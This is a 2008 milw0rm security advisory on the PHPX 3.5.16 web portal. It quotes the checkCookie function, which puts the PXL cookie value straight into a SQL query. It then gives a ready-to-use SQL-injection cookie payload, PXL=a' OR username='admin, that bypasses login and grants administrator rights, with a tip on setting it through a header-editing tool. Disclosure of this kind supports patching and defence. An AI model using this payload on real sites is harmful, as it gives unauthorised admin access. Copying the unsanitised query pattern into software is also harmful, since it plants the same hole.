477bcbdcc0
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106 lines
3.1 KiB
Text
Executable file
106 lines
3.1 KiB
Text
Executable file
=======================================================================
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= gnix =
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gnixmail at gmail dot com
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http://gnix.netsons.org
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Application: phpx
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http://www.phpx.org/project.php (stable version)
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Versions: 3.5.16
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Platforms: All
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Bug: Cookie poisoning / Login bypass
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Date: 31 July 2008
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=======================================================================
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1. Intro
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2. Cookie poisoning and login bypass
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=======================================================================
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1. Intro
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========
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PHPX is a web portal system, blog,Content Management System (CMS), forums,
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and more. All files are currently hosted at http://www.phpx.org/project.php
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=======================================================================
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2. Cookie poisoning and login bypass
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====================================
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Every file in phpx-3.5.16/ directory have two lines of code: one for
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include includes/functions.inc.php, and another to create a website object.
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website's constructor will call checkCookie.
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Source code (includes/functions.inc.php)
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---------------------------------------------------------------------
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class website {
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...
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function website(){
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...
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$this->checkCookie();
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---------------------------------------------------------------------
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The function checkCookie set the user_id if PXL cookie is set and the
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query return an user_id, and an username.
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Vulnerable code (includes/functions.inc.php lines 75 to 89)
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---------------------------------------------------------------------
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function checkCookie(){
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if ($_COOKIE[PXL]){
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list($user_id, $username) = $this->core->db->fetch("select user_id, username from users where sess = '$_COOKIE[PXL]'");
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if (!$user_id){
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setcookie("PXL", '', time() - 60, '', '', $this->core->secure);
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$head = "Location: http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
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header($head);
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}
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else {
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if (strtolower($username) == "xnuiem"){ $this->debug = 1; }
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$this->user_id = $user_id;
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}
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}
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}
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---------------------------------------------------------------------
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This user_id is then used in the website constructor for set the user_id
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of the core class.
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Source code (includes/functions.inc.php line 32)
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---------------------------------------------------------------------
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$this->core->user_id = $this->user_id;
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---------------------------------------------------------------------
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Now if you want to get the admin privileges and by pass the login, you
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have to create a cookie like this below:
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---------------------------------------------------------------------
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PXL=a' OR username='admin
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---------------------------------------------------------------------
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To do that you can use 'Modify Headers'.
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=======================================================================
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# milw0rm.com [2008-07-31]
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